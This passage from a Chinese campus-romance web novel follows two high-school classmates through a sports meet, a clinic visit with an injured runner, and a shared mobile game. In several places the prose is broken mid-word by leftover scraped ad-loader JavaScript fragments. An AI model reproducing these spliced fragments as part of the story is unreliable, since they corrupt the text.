林藏初抓了抓自己刚才靠在墙上弄乱的头发,走到讲台前面。 高姿正在念名单上下一位同学的名字,见他来了,随手把刚才放在旁边的一套衣服丢给他:“刚才念你名字没来,我还以为你又睡着了。” 林藏初觉得有必要为自己正个名:“我也不是每天都在睡……刚才恰好没听见而已。” “好好好,知道了。”高姿非常捧场地点点头,下一秒又像是想起来什么似的,从那一大堆还没分发的码数里面拽了一件出来,“谢神不在,林神你顺便帮他一起捎回去吧。” “好同桌互帮互助,应该的。” 她不由分说地把衣服塞进了林藏初的怀里。 林藏初:“?” 高姿:“快走,我还要发别人的呢。” 林藏初:“……” 林藏初抱着两件衣服瘫着脸回去了。 午休的放学铃叮铃铃地响起来,班级在一瞬间变得嘈杂,三两成群的同学有说有笑地往出走,林藏初没忍住又看了一眼自己右边空荡荡的座位。 ……还是没回来。 校运动会在下午两点就正式开始了,届时所有裁判都要在场上组织纪律。 也就是说,他必须在这个中午把高姿强行托付给他的衣服送到谢遥集手里,否则他们班就会出来一个格格不入的、没有裁判权的红色校服。 林藏初在“去吃饭”和“留下来等人”的两个选项中进退两难犹豫再三,最后良心占了上风,决定坐在座位上接着等。 约莫二十分钟过去,教学楼里的喧闹彻底消失不见,走廊寂静无声,只剩下教室里黑板上方时钟走动的声响。 咔嗒。咔嗒。 林小少爷饿得饥肠辘辘,心想要不然就这么算了,反正姓谢的平日里多受老师照顾优待,就算穿个奇装异服上去都不一定挨骂—— 班级的门忽然吱呀一声,被人轻轻推开了。 在心里骂人骂到一半的林藏初条件反射般蹭地一下从座位上站起来:“那个,嗨。” 拖着一副疲惫身躯特意回教室拿书包的谢遥集:“?” “……你好?” 他似乎没想到这个时间点教室里还能有活人,整个身体紧绷了一瞬又立刻微微放松下来,问道:“怎么没去吃饭?” “那个啥,生活委员让我把班服捎给你。”林藏初只感觉自己刚才的脑子是彻头彻尾地抽了,一时间氛围尴尬,他又不得不说些话来解释自己的诡异行踪,“中午回去要换上的。” 谢遥集扬了下眉,显然是刚得知这个消息。 “……中午就要换?” 林藏初:“对啊……下午就要去操场上跑来跑去地干活儿了,你学生会主席哎,怎么不知道?” 一整个上午都在被老师呼来唤去没歇过一分钟的谢主席:“……” 好在林藏初并没抓着这个话题不放,谢遥集也就顺势转移了话题:“下午的工作分配,不出意外应该是我安排。 “……你想要什么职位?” 心里还在想等会儿回家吃饭的林藏初:“?” · 托了谢会长中午特意为他“徇私枉法”的福,林藏初下午一到学校,就从其他同学那里拿到了分配给自己的职位表。 十分清闲,是个只负责记跳高组成绩的划水裁判。 学校没给一班和二班分配休息位置,林小少爷从主席台下面领了表和裁判牌,视线在挤满了蓝色校服和红色校服的操场上找了一圈,没能找到自己的容身之所。 林藏初迟疑地拽了拽旁边还在发工作表格的同学的袖子。 “哎,哥们,问个事儿,一二班的座位在哪?” 被他拽袖子的同学转过头,对这个问题习以为常地抬手往远处一指:“喏。” “看到了吗?那个白色的阶梯铁架。” 林藏初顺着他手指的方向望过去,看见一个近两米半高的巨大阶梯铁架。 上面的白色铁皮掉了漆,铁架一阶接着一阶地呈阶梯状焊下来,远远望去,活像是一个缺了几排花盆的观赏性花卉展示架。 即将变成花卉在上面被全方位展示的林藏初:“……” 这个破铁架子,跟“裁判”和“座位”两个词,有什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么能搭边儿的地方吗? 校运动会的开幕式演讲照例是高三的年级第一来讲,林藏初木着脸走到铁架子下方的时候,谢遥集已经这周第二次地上了主席台。 学校的话筒还是不好使,能把一句话断成两句。上面的人断断续续地讲,下面的人断断续续地听。 又一声刺穿耳膜的杂音响彻操场,林藏初头疼皱眉地捂了下耳朵,莫名有点儿同情谢遥集。 苍天在上,还好他成绩不好,怎么也轮不到这种用来折磨人的殊荣。 “哎——林神!”阶梯铁架上已经有人占好了位置,高姿在最上面一层对他遥遥招手,“快上来!坐这儿。” 林藏初仰头看见她,跟着打了个招呼。 不好拂了对方的好意,林藏初粗粗估略出了一个能够避开坐着的几个同学畅通无阻的行进路线,然后长腿一跨,踩上了铁架一侧的镂空阶梯。 距离最高的一排位置只剩了几十厘米,高姿正准备伸手去扶他,却发现林神不知为何忽然顿住了动作。 高姿试探着开口问道:“林神,怎……怎么了?” 这位向来天不怕地不怕、老师眼里的班级刺儿头微微沉默了几秒。 随后开口道:“你等一会儿,我有点恐高。” 高姿:“???” 每日无比虔诚地供奉班级财神的生活委员感觉自己有什么信仰滤镜轻轻地碎掉了。 “你别——”高姿慌忙地从自己坐着的位置站了起来,铁架跟着她的动作左右晃动,“我是说,我们下去矮一点儿的位置坐也行——” 她话音未落,只感觉自己身侧的铁架微微一沉,林藏初已经利落地翻身上来,蹲在了她旁边。 “刚才没听清。”高姿听见这人长长地松了口气,转而问她,“你刚才说什么?” 高姿:“……” “没,没什么。不是什么大问题。哈哈。” 林藏初的脸色还有些白,恐高带来的眩晕后遗症还剩了一点儿在脑袋里,他晃了晃头,似乎是想将那阵不适感晃出去。 从铁架的这个位置能俯瞰到整个操场,他先是看到了远处往跑道外围赶人的老秦,然后又看到了上次和他一起吃过饭的学弟。 再往前,是主席台下支着的凉棚和服务处,往上,是台上还在发言的谢遥集。 水墨相间的裁判服略显松垮地套在他身上,拉链微微敞开,露出里面素款的白色T恤。 这是林藏初第一次认真地看他在主席台上的样子。 握着话筒的右手冷白骨节分明,他想起来这只手在试卷上写答案的样子。 又想起来这人玩过的游戏。 四个圆圈和两颗星星。 ——也许也很适合去打电竞。 林藏初想了一下,把自己给想笑了。 “信他去打电竞,不如信我数学能拿一百分。”林小少爷小声嘀咕道。 一旁的高姿听见了:“什么一百分?” 林藏初:“……没有,你听错了。” “我说我同桌上次理综周测化学得了一百分。” 13. Chapter 13 “啊?原来化学老师当时课上说的某位神秘满分同学就是谢神啊……” 高姿一想起来那张理综卷子就发怵,“虽然想想也不觉得奇怪,但是上次那化学卷——那破题也是人能答出来的?” 随口一扯但是莫名其妙正中话题靶心的林藏初:“?” “林神啊。”不知道是因为这句话想到了什么,高姿笑眯眯地凑过来,“俗话说得好,近水楼台先得月!咱俩啥关系,能不能帮我向谢神请教下他的独家学习秘籍?” 林藏初:“?” 林藏初下意识反驳:“他能有什么——” 他这句话剩下的半截忽然淹在了整个操场震耳欲聋的音乐声里。 主席台上的演讲麦不知什么时候已经被挪走了,取而代之的是两张并排放在一起,专门供给广播员休息的桌子。 主席台下是铺满一整片空地的红毯,被绕着操场的橡胶跑道圈起来,正对着隔了几十米远的各年级划分好的地盘。 红毯上是一群身着齐襟汉服出尘若仙,手持纸扇还在调整队形的舞蹈队员。 林藏初还没反应过来,他踩着的大铁架子就开始剧烈乱晃,一群人呼啦啦地从座位上起身下去,就连旁边的高姿也摩拳擦掌地站了起来,大有一副要直接往下跳的架势。 林藏初:“???” 林藏初迅雷不及掩耳之势地拽住对方的袖子:“……等一下。” 高姿向他递回来一个略显疑惑的眼神:“怎么了?” “你们这是要去哪儿?”林小少爷皱着眉将视线从这场有着万马奔腾气势的集体迁移上收回来,“这么着急?” “当然是看节目啊!”高姿语气爽朗,脚底又迅速往下踩了一格,看得出来真的是很急,“去晚了就没地方了!” 林藏初:“?” ……地方,什么地方? 他松开高姿的袖子茫然地一抬头,看见自己班里有跑得快的,已经齐刷刷在红毯前面的草地上坐了一整排。 好像春天劳动节稻田里插的那个秧。 再回过头来看,方才还被他拽着袖子的人已经不见踪影—— 寥寥几步就蹦了下去,干脆利落地加入了大部队。 林藏初:“……” 林藏初往下看了一眼自己现在距离地面的高度。 熟悉的晕眩感袭来,他闭了闭眼睛。 算了,大不了一死—— “在做什么?” 底下忽然传来个熟悉的嗓音,林藏初正要往下探的脚一滑,险些一头从钢筋镂空处栽到地上:“?” 他睁眼,看见谢遥集正站在铁架旁边,距离自己不过几十厘米,手指搭在生了锈的阶梯边上,仰头望着他:“怎么就你一个人?” 林藏初:“……” 差点忘了他也是一班的,也要来坐这个破铁架子。 林小少爷抓了抓头发,扒在钢筋的围栏向下跟谢神打了个招呼:“哦,他们啊。” “都跑主席台前面看人跳舞去了。” 谢遥集循着他的目光看过去,果然看见了一排蹲得整整齐齐的萝卜头。 谢遥集:“……” “你不去吗?”他问。 林藏初已经第二次尝试站起身往下走,但还是失败了。 他深吸一口气,自暴自弃道:“不去。” 话音刚落,就看见下面毛茸茸的发顶缓缓移动,消失在视野里。 谢遥集气定神闲地从他刚才站的位置绕了回去,站在铁架前面阶梯的起始处,没有过多犹豫地抬脚往上走。 ……大铁架子又开始左右晃起来。 坐在最高处的林藏初只觉得自己的头被晃得更晕了。 “……姓谢的,商量个事儿。” 谢遥集扶着钢筋顿住脚步:“?” 林藏初:“你能不能慢点儿走。” “我要被你晃吐了。” 这话乍一听特别像挑衅,谢遥集挑了下眉,刚想问他是不是小时候没坐过摇摇车,一抬头,却发现这人脸色确实比要往常苍白得多。 谢遥集微微怔然,把刚要迈步的脚收了回去。 然后林藏初就看见这人一声不吭地停在了阶梯中间,继而很忽然地转身,挑了离自己此刻高度最近的一排座位坐下了。 还以为他要来跟自己坐在一起的林藏初:“……” 林藏初忍不住开口:“你不来上边儿?” 谢遥集:“太高了,往上爬着累挺。” 林藏初……林藏初从自己近乎两米高的座位往下看了看,心道自己当时怎么就没用这个理由拒绝生活委员的热烈邀请呢。 他叹了口气,感觉自己一直挂在最高排也不是个办法。 林小少爷咬咬牙,小心翼翼地伸出腿往下迈了一步。 于是铁架子又慢悠悠地跟着他的动作晃起来,晃得下面坐着的人疑惑地转身抬头:“?” 谢遥集问:“怎么不在上面坐着了?” 林藏初蹲着的姿势没变,脚底又缓缓往下蹭了一小步,闻言活像只被人踩了痛处的炸毛猫:“我爱坐哪儿就坐哪儿,你管我呢?” 四分钟后,“爱坐哪儿就坐哪儿”的人迈到了谢遥集身侧坐下,换了个更舒服的姿势。 谢遥集:“……” 谢遥集往他屁股底下的钢筋指了指:“爱坐这儿?” 林藏初:“你有意见?” 谢遥集叹了口气,把头转回去:“没意见。我哪里敢有意见。” “林小少爷莅临寒邻,我高兴都来不及。” 林藏初被他文绉绉的酸话一怼,跟着默了。 过了一会儿,他才又开口道:“我之前一直以为,你们这种学习好的都特别高冷。” 谢遥集挑了下眉,显然是对这个话题起了些没用的兴趣:“现在呢?” “现在?”林藏初的手放在口袋里,碰到那张被他揉搓得有些发皱的职责分配表格,慢吞吞地开口。 “现在只觉得,你这个人嘴里没有一句真话。” “……”没能听到自己想听的,谢遥集顿觉索然无味,又把头扭了回去。 但是他仔细想想,感觉林藏初说得倒也没错。 确实没几句是真的。 主席台前红毯上的开幕舞蹈已经进行到了尾声,音乐随着最后精心设计的结束队形戛然而止,周围的班级陆陆续续地响起来掌声和欢呼声,分贝潮水般地由小及大。 林藏初的耳膜被这种具 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 象化的热闹充斥,操场上彩旗围成的警戒线后面是各个班级不知从哪里借来的大鼓。 “请各个场地的裁判和工作人员各就各位”的广播声滋滋啦啦地回荡在校园上空,他松开口袋里那张表格纸,莫名其妙地又想起来高姿嘴里那句“近水楼台先得月”。 谢遥集也听见了广播声,已经从座位上站了起来,正准备离开。 林藏初还坐着没动。 不愧是学生会主席,连这种替人跑腿儿的活都能做到尽职尽责。 他心想。 林小少爷偷偷在心里给人家盖了个“循规蹈矩的好学生”的戳,准备接着降低存在感摸鱼,能拖一会是一会儿。 一班的同学已经看完了舞蹈节目,正在回来的路上:“林神!” 刚躺到一半的林藏初又重新坐了起来。 “怎么了?”他问。 “你是不是负责记跳高成绩的?” 喊他的同学走近了,林藏初认出来这是班级里理综仅次于谢遥集的陈满,也难为他一个常年吊车尾的学渣还能记得对方名字。 陈满说:“我也是负责跳高的,广播刚才让过去呢,我们走吧?” 林·妄图迟到一分钟但是失败·藏初:“……” 不是,你们学习好的怎么都恁烦人呢。 他深呼吸平复心情,手一撑就从摇摇晃晃的铁架子上利落地翻了下来,鞋底触在地面发出沉闷的声响,陈满的眼睛微微睁大了:“我去,林神,以前怎么没发现你身手这么好?” 林藏初心道那都是逃晚自习翻墙翻出来的,你要是能发现那就怪了。 嘴上却跟着谦虚一番:“这才哪儿跟哪儿,你是没见过谢遥集翻……” 林藏初说到一半忽然卡壳,想起来那天晚上谢遥集在高墙底下说过的话。 他话音一拐:“……翻书那手速,我真比不上,哈哈。” 陈满:“?” 所以这两件事之间是有什么不为人知的关联吗? 陈满想问,但是没敢真的出声问。 不过几秒钟的功夫,林藏初已经打头走在了前面,陈满只能跟上:“我记得你高一的时候好像也报过项目来着,是跳高吗?” 林藏初没回头:“有吗?我不记得了。” 陈满努力回忆,最后笃定地点点头:“有。当时人数好像不够,高姿帮你报的。” 林藏初倒是确实不记得了,陈满说的这件事他一点印象都没有,反倒是那年的运动会之后的假期,他倒还剩了些模糊的记忆。 起先是有人打赌,赌约的具体内容是什么林藏初已经记不清了,但是还记得一群人吵吵闹闹地玩到最后,他因为输得最多而请全班去烧烤店聚餐。 林小少爷不缺钱,时至今日也忘了这顿四十多个人的烧烤最后到底花了多少,但是唯一还清楚记得的事是,全班只有谢遥集一个人没来。 林藏初把这个名字放在心里滚了几圈,一如当初他在日记里骂对方“假清高”的时候。 不远处的跳高场地已经有人在搭架子了,他盯着那只被人摆上去的刻度长杆,恍惚感觉自己脑袋里确实是多了那么点儿有关高一运动会的记忆。 ——以及他为什么会讨厌谢遥集。 14. Chapter 14 临水一中的后街上开了很多家烧烤店,口味正宗生意火爆,因而得名“烧烤一条街”。 谢遥集记得那天是个雨后放晴的傍晚,空气里还带着一点刚下过雨的潮湿,砖瓦路间的新鲜泥土踩下去会出现深深的鞋印。 他打工的便利店就开在那一整串烧烤店的马路对面,跟一家誓死捍卫自己地盘的五金店比肩相邻。 因为是星期天,所以便利店的生意比往常要好上不少。 谢遥集彼时还对自己“勤工俭学”的人设端着些没放下的羞赧感,戴了只纯黑色的口罩,对老板谎称自己感冒还剩了点儿没好。 玻璃门被人推开,进来的中年人开口说要买烟,谢遥集回身熟稔地从架子上把烟拿下来递过去,再接过钱找零。 脑袋里却在想前几天班里同学的聚餐邀请。 同桌的女生问他要不要去,谢遥集犹豫一瞬,最后还是拒绝了。 女生显然对于他的话很惊讶:“林少爷花钱请客哎,这你都不去?” 谢遥集翻开一本物理优化学案。 “……没兴趣。” 没兴趣的真实原因当然是要来便利店打工。 在这个雨后的星期天,谢遥集一边找钱一边心想,有钱人自掏腰包请客,傻子才不去。 他不去,所以他也在这个范畴里。 ……或许还要再加上一条。 装逼穷鬼。谢遥集在心里想道。 这四个字威力太大,他没忍住把自己给想乐了,柜台对面拿了零钱和烟要走的中年人奇怪地多看了他一眼。 “……”谢遥集立刻不笑了,他弯了弯上半身,说道,“您慢走。” 中年男人走了,在他身后缓缓关上的玻璃门又被另外的人抵住,推开。 一只很好看的手伸了进来,随后是谢遥集熟悉的深红色的校服。 “打扰了,麻烦来三瓶冰红茶。” 是个很清朗干净的声音。 谢遥集顶着几乎把脸盖住的鸭舌帽抬头,发现这是自己的同班同学。 ……那个烧烤请客请了全班的阔少爷。 林藏初。 谢遥集想起来这位富二代少爷的名字,对方理所当然地没认出来他,只是在递出一张五十元钞票的同时又补充道:“要凉的,谢谢。” 谢遥集没说话,弯腰从一旁的矮冰柜里拿出来三瓶冰红茶,并排摆在收银台旁。 “谢了。”冷气在瓶身凝出一片均匀的水雾,又在被人拿握的瞬间打乱,水雾聚拢变成水滴,随着对方的动作掉下来,砸在透明的柜台上。 谢遥集目送他抱着三瓶冰红茶撞开便利店的玻璃门,因为肩膀力气太过,玻璃门和外面的风撞出来闷闷的吱呀声。 林藏初站在马路旁看了看往来车流,寻了个恰当的时机,横穿马路跑到对面,掀开帘子一溜烟儿地钻进烧烤店。 谢遥集又盯着那家店的牌匾看了一会儿,直到玻璃门上方的铃铛再次响起来。 “——您好,请问需要些什么?” …… “会长!”远处的橡胶跑道上有人吨吨吨地跑过来,谢遥集回过神才发现自己握着的签字笔落在统计表格上,已经不知何时洇了个墨点出来。 “这是高一女生组铅球项目的成绩,这份是立定跳远的,哦,还有这份。” 二班的裁判代表之一从自己手里数出来几份记满成绩的纸,一拍脑袋,“这份是高二男生组跳高的,负责记成绩的同学去厕所了,叫我帮他先送一下。” 谢遥集放下表格,从他手里把这几张薄薄的纸接过来:“辛苦了。” “不辛苦不辛苦。”对面同学把比赛结果成功送到地方,也没多停留,跟着摆摆手,“那边还有事情没干,会长你忙,我先走了哈。” 工具人同学风风火火地又小跑着走了,谢遥集低头,开始翻起来手里的项目成绩。 铅球的,跳远的,还有个跳高的—— 他的手按在那页标着“高二男子组跳高项目”的表格纸上,忽然不动了。 谢遥集皱了下眉,单独把这张纸给抽了出来。 纸上的每一个表格里都填了数,但每一个数字都看不出来到底是什么数字。 好像鬼写的,有一种人看不懂的美。 谢遥集:“……” 谢遥集盯着那个额外熟悉的,写得与“3”别无二致的“5”,缓缓地伸出手捏了下鼻梁。 头疼。 当初为什么给他安排这个工作来着? 有相熟的同学从身边经过,好事儿地过来想要帮自家学弟看看成绩:“谢神,跳远成绩是不是在你这儿?” “……”谢遥集有心遮掩,但还是慢了一步,没来得及把那张鬼画符一样的项目成绩单藏起来。 相熟同学拽着项目成绩表把头探过来:“我找找……噢,在这儿,陈xx——” 声音很突然地没了。 “是我瞎了吗?”他双目呆滞地喃喃,“我怎么看不懂这个成绩是什么……” 谢遥集默然,轻轻地把成绩单从他手里抽回来,只感觉自己的头更疼了。 他叹了口气,拍了拍还在失魂状态的同学甲,安慰道:“天机不可泄露,到时候你就知道了。” 主席台上的广播员还在等着念成绩,谢遥集好言好语地把同学甲送走,回过头来开始动笔抄录林藏初送他的这份“大礼”。 ……2不是2,3不是3的。 这人记成绩的时候到底都在想些什么??? 谢遥集越抄脸越黑,心道林小少爷的字从卷子到纸条再到记分简直一如既往的烂,不说写得好看,起码也要是个能叫人认出来的样子吧? 兜里那么有钱难道就不能买本儿字帖—— “……谢遥集。”身后有人幽幽喊他。 谢遥集心里一个咯噔,险些把手里的签字笔给扔了。 他转过身去的时候脸上已经挂上了温和的笑容:“林同学?有什么事吗。” 刚上完厕所回来的林藏初感觉这人的语气听上去好像有点不对,但是又说不上来是到底是哪里不对劲:“没什么大事,就是那个跳远成绩表……” 他的尾音淹没在了一声冒着烟雾的信号枪响里。 两个人正站在百米赛道跑道的外面一侧,刚才谢遥集抄录成绩的时候,前面已经被人拉起了红色的终点线。 谢 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 遥集等了等,没能等到对面的下半句话。 林藏初的目光越过他,远远地落在跑道上跑出残影的几位同学身上。 再开口时已经换了话题:“你看最前面那个,好像是熟人。” 谢遥集下意识顺着他的视线望过去。 跑在比赛这一组最前面的,赫然是在开学典礼那天见过的五班团委陆明书。 不知道为什么,谢遥集总有一种不好的预感,可能是陆明书那天摔在他脚下留的印象实在太深—— “卧槽!!!!” 一句和记忆里完美重叠的惊呼声。 谢遥集看见站在跑道两侧等待的工作人员呼啦啦地紧张围上前:“同学?同学??” “你还好吗???!” ……果然又摔了。 谢遥集不知道是该怪自己乌鸦嘴还是该怪陆明书这人实在太倒霉,叹了一口气,也挤过去打算帮个忙。 林藏初早比他先一步窜了出去,谢遥集过去的时候就看见林小少爷把人扶在怀里,陆明书捂着严重擦伤的腿,正吃痛地嘶嘶抽气。 围着的人群见谢遥集过来,纷纷自觉地让开了一条路。 谢遥集侧身进去,才发现还有一名负责巡查的老师也在,正蹲在陆明书旁边查看他的伤势。 “麻烦了。”他随手拍了下离得最近的一个眼熟男生,“帮忙跑个腿儿,通知一下五班班主任。” 得到肯定应答后,谢遥集也跟着蹲了下来,陆明书摔得整个人脑子已经有点发懵了:“我这是瘸了吗?” “……”他靠在林藏初的怀里,眼泪要坠不坠,林小少爷一连声地安慰没事,谢遥集看着这幕兄友弟恭的场面,只觉得有点儿很没来由的不爽,偏偏又不好表现出来。 在场唯一的老师开口了,也是个认识谢遥集的:“谢同学,能不能麻烦你带这位同学去校门口的诊所包扎一下?” “应该是没伤到骨头,具体的还得让医生看看才行。” 谢遥集把自己的目光从两人身上移开:“好的,老师。” “嗯,辛苦你了。”负责的老师点点头,又转头对林藏初道,“你也跟着一起去吧,关系好,能帮衬着点儿。” 林藏初答应得很快,也没对老师那句误会般的“关系好”做出反驳。 见了一面就得算朋友了,哪有什么好不好的? 倒是谢遥集的脸色依旧不是很好看,帮着把人扶起来之后也没开口说话。 陆明书被自己偶像扶起来,心情激动到连疼都忘了喊:“要是每天都能享受一遍被谢神扶出校门的待遇,我宁可天天摔——” 谢神:“你别说话了。” 单腿缓慢蹦着的陆明书立刻噤声,艰难地举起手指在嘴边比了个拉链的手势。 林藏初在他右侧一边扶一边乐:“偶像的话这么好使?” 陆明书立刻嗯嗯嗯地点头,脚下也没闲着,又往前蹦了几步。 林藏初乐完了,对他这副不值钱的样子直摇头:“……你慢点儿,别又摔了。” 陆明书举起三根手指,做了个对天发誓的手势,林小少爷从他坚定的目光里明晃晃看出来一句话:有谢神扶着,一定不会! 15. Chapter 15 三个人半是拌嘴半是捧哏地出了学校的北门。 往常冷清的大门口此时多了一堆卖气球和荧光棒的摊位,离得最近的叔剃着个平头,见他们往出走,连忙笑容满面地拉客:“仨帅小伙一人来一只不?” 说着,把手里憨态可掬的小黄鸭气球往前送了送。 林藏初光看路也没提防,险些跟小黄鸭嘴对嘴地亲了一口:“?” 他麻木地把这只嫩黄色的傻气球扒拉走,礼貌拒绝道:“谢谢,我们不……” “我要那个蓝色爱心的!”旁边的病患忽然身残志坚地伸出来一只手。 手上捏着不知道从哪里掏出来的皱皱巴巴的五块钱。 林藏初险些一口气没上来:“……” “你拎这么大个玩意儿去看病?” 陆明书已经从老板手里接过了气球绳,整个人都透着种爱不释手的喜气洋洋,被林藏初这么一质问,霎时有点委屈地转过头来皱脸道:“……不行吗?” 林藏初:“……” 林藏初疯狂给谢遥集递眼神:你不是人家偶像吗!你倒管管他啊! 谢遥集回了他一个遗憾的表情:抱歉,个人私事,偶像也管不了。 林藏初:“……” 林藏初深吸一口气。 算了。 不能跟病患多计较。原谅了。 直到陆明书扯着那只蓝色爱心气球,卡在诊所的玻璃门外半天没进去,林藏初才意识到这件事的严重性—— 三个人一横排堵在小黑诊所的正门前,里面卖药的柜员,休息的大夫,以及一溜儿的大人小孩全部都扭头齐刷刷地看了过来。 目光里写着:“?” 气氛一度尴尬,林藏初几乎有种扔下旁边这俩人掉头就跑的冲动。 谢遥集倒是情绪稳定,伸手帮忙把陆明书那半侧的玻璃门给推开了,还贴心地将那只卡在门框上的蓝色气球拽进了屋子里。 墙壁一侧座椅上打吊针的小朋友立刻伸出自己没扎针的那只手:“妈妈!我要这——唔唔!” 坐在旁边的妈妈眼疾手快地把他的嘴给捂上了。 陆明书宝贝似的把气球往自己怀里拽了拽,跟林藏初小声蛐蛐:“现在小孩儿怎么看见个气球也想要……” 林藏初:“……” 你自己都跟小孩一样见到气球走不动路,还好意思说别人! 兴许是林藏初的脸色太过精彩纷呈,谢遥集猜出来他想吐槽什么,没忍住转过脸弯了下嘴角。 在座椅上休息的大夫看见他们也忙不迭起了身,过来迎道:“这是怎么了?” 他目光落在陆明书血糊淋啦的腿上:“摔了?” 陆明书也跟着他的视线,低头看了一眼自己惨不忍睹的伤口:“……嗯呢。比赛不小心摔了,来包扎一下。” 这一眼看过去,仿佛失去的痛觉又回来了。 大夫低头查看伤势,陆明书:“嘶——” 大夫抬头推了推老花镜:“我这还没碰呢。” 紧张过头的陆明书:“……哦哦,您继续。” 大夫接着低头观察,陆明书紧闭双眼,再次:“嘶——” 林藏初用力捏了下他的胳膊:“男子汉大丈夫,别疼。” 陆明书:“呜。” “没啥大问题,皮外伤,长个两三天就结痂了。”大夫开口道,“等会儿跟我去后面消个毒,包扎一下。” “前面大厅地方太挤,没位置了。” 林藏初跟着抬头,往小小的屋子里扫视一圈。坐着打针的,站着买药的,还有一堆不知道干什么在闲聊玩手机的。 本来就挤,他们仨一进来,更挤了。 “行。”陆明书十分爽快,跟在人大夫身后就单腿蹦过去了。 林藏初小心翼翼地搀着,总感觉自己越搀越沉。 再往旁边一看,谢遥集已经不知道什么时候把架着人的那只胳膊撤了回去,只剩下几根手指,虚虚地往陆明书的身上搭了个边儿。 ……扶了,也没完全扶。 但是看着倒还挺像那么回事儿。 陆明书又往前蹦了几步,林藏初只感觉整个人都在被他拽着走:“你一只腿的怎么比我两只腿的跑得还快——” 陆明书:“这就是实力,懂不懂!” 林藏初显然忘了些什么事,此话一出他立刻双手鼓掌,捧哏道:“厉害!!不愧是替班争光的陆大团委!” 被他一瞬间松开的陆明书:“……啊啊啊啊啊!” 尖叫声戛然而止,他在快要歪倒的瞬间被另一只很有力道的手给扶住了。 谢遥集欲言又止:“你俩能不能好好走路?” 陆明书整个人的脸噌地一下冒起红来:“能!绝对能!” 林藏初……林藏初鼓着掌的手缓缓放下。 他十分想在陆团委耳边大喊:谢遥集这是疏忽职守!亡羊补牢!你害羞个什么劲儿! 但是他忍住了。 因为谁都能看出来他才是刚才这起事件的罪魁祸首。 白大褂大夫已经走到了磨砂屏风的后面,拉开那道很反人类设计的推拉门:“来,进来吧。” 陆明书跟在他身后,探头探脑地朝里面望。 隔间不大,里面摆着两张空置的单人病床。 三个人前后一进去,再加上大夫,狭窄的空闲隔间立刻满了一大半。 扶着陆明书坐上病床,林藏初总算是能把自己的左手空出来,肩膀被压得有些酸痛,他下意识地甩了甩。 身边传来衣服摩擦的声音,他回头,看见谢遥集不动声色地往旁边靠了靠,试图将身体移动几厘米,好避开他胳膊的甩动路径。 林藏初:“……” 那边的大夫和病人忙着在消毒包扎,他们两个闲人挤在门口,进也不是退也不是。 往前,能撞到陆明书的单人病床,往后,脚趾头能踢在劣质推拉门的门槛上。 谢遥集只挪了十厘米就挪不动了,林藏初的胳膊甩到一半,停在半空中讪讪地放了下来。 这么无聊着也不是个办法,林小少爷摸摸鼻子,叹了口气,伸手把手机从自己的口袋里摸了出来。 打算开一局游戏解解馋。 Timi的提示音一响,病床上的陆明书立刻竖起耳朵抬头看过来:“哇靠,林神你也打这个?” 林藏初的手顿在游戏 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 的开屏界面:“?” “怎么了?” 陆明书的语气里带了一点道听途说的向往:“听说你打游戏特别厉害,可惜我今天没带手机,不然还能加个好友……” 靠在病床上的人一边疼得吸气,一边又因为加不上林神的好友而叹气,林藏初听得有点于心不忍,转过身戳了戳谢遥集。 “哎。” 正把自己置身事外充当诊所背景板的谢遥集:“怎么了?” “你带手机了吧。”林藏初问,“好人做到底,借你小粉丝玩玩?” 谢遥集:“……” 谢遥集语气淡淡:“我手机里没游戏。” 林藏初皱眉:“现下一个也用不了多长时间,就当是满足一下病人的愿望。” 谢遥集不为所动:“我没流量。” 林小少爷把自己的个人热点打开,密码举到他眼前。 谢遥集:“……” 谢遥集叹了口气:“行吧。” 他从外套口袋里把手机拎出来,递给林藏初:“给你,没有密码,自己弄。” ……没有密码? 林藏初接过来的时候还有点茫然。 就这么把手机给外人了? 他低头看了看被放在自己手里的手机。 很久之前的杂牌款式,林藏初有点没认出来,屏幕上的钢化膜裂了几道,也没再换新。 林藏初看看手机,又抬头看看手机主人。 谢遥集没往他这边看,给了手机之后就一直靠在玻璃门上闭目养神。 林藏初把视线重新挪回到这部久经风霜的手机上,上滑解锁。 ……果然没密码。 主界面还是系统自带的黄蓝白配色主题壁纸,林藏初一度怀疑谢遥集这个人是不是什么系统自动生成的NPC,不然怎么能一点儿喜好都叫人看不出来呢? 他没敢再去翻其他的地方,只草草地在主屏幕上找到应用商店,又下拉网络设置,把自己的WIFI热点给连上了。 “……别连你爹热点?” 谢遥集不知道什么凑了过来,可能是诊所大厅的景色并不好看,正好看见手机屏幕上显示的网络名称。 林藏初:“……” 林藏初人有点麻:“打个商量,要不你还是看风景去吧。” 谢遥集反问:“我的手机,我为什么不能看?” 行,你有理。你话多。 林大少爷因为那点儿对病人的怜悯,吃人嘴软拿人手短,很憋屈地沉默了。 游戏下载完毕,屏幕界面上多了个带红点的熟悉图标。 林藏初熟稔地点进去开始资源更新。 幸运病人陆明书眼巴巴地盯着他的手:“!” 林藏初:“……就快好了,你再等会儿。” 几分钟后该下的都下完了,林藏初刚想把谢遥集的手机扔给陆明书,想了想,又顿住了,没动。 正准备谢恩吾皇万岁万万岁的陆明书:“?” 等了几秒,他眼睁睁地看着林小少爷把那部旧手机收回了怀里,转而扔了一部最新款的iPhone到病床上。 “……这个给你,你玩这个。” 16. Chapter 16 谢遥集看着林藏初手里自己那部几百块钱收来的二手手机:“你不是说给他玩吗?” “……”林藏初点开游戏账号的登录界面,没抬头,“我改主意了,不行?” 白色的新款iPhone静静地躺在病床的床单上,离得很近,陆明书内心忐忑地把它拿起来,看看林藏初,又看看谢遥集。 本来想开口问一句,但是现在他感觉自己好像有点插不进去话。 “上号。”林少爷言简意赅地命令道。 陆明书:“哦……哦,好。” 林藏初把手机扔过来的时候就已经解锁过了,陆明书忙不迭点开,找到游戏登录账号。 谢遥集没再说话,低头看林藏初点开自己的好友搜索界面,问陆明书:“ID?” 陆明书:“……哎呀怎么薯了。” 林藏初以为自己听错了:“?” 但他还是在搜索框里把这六个字认真地输了进去,查询结果界面蹦出来一个可可爱爱的粉嫩萌妹头像。性别女。 林藏初:“??” 林藏初把手机屏幕转向了病床上的陆明书:“这是你的号?” 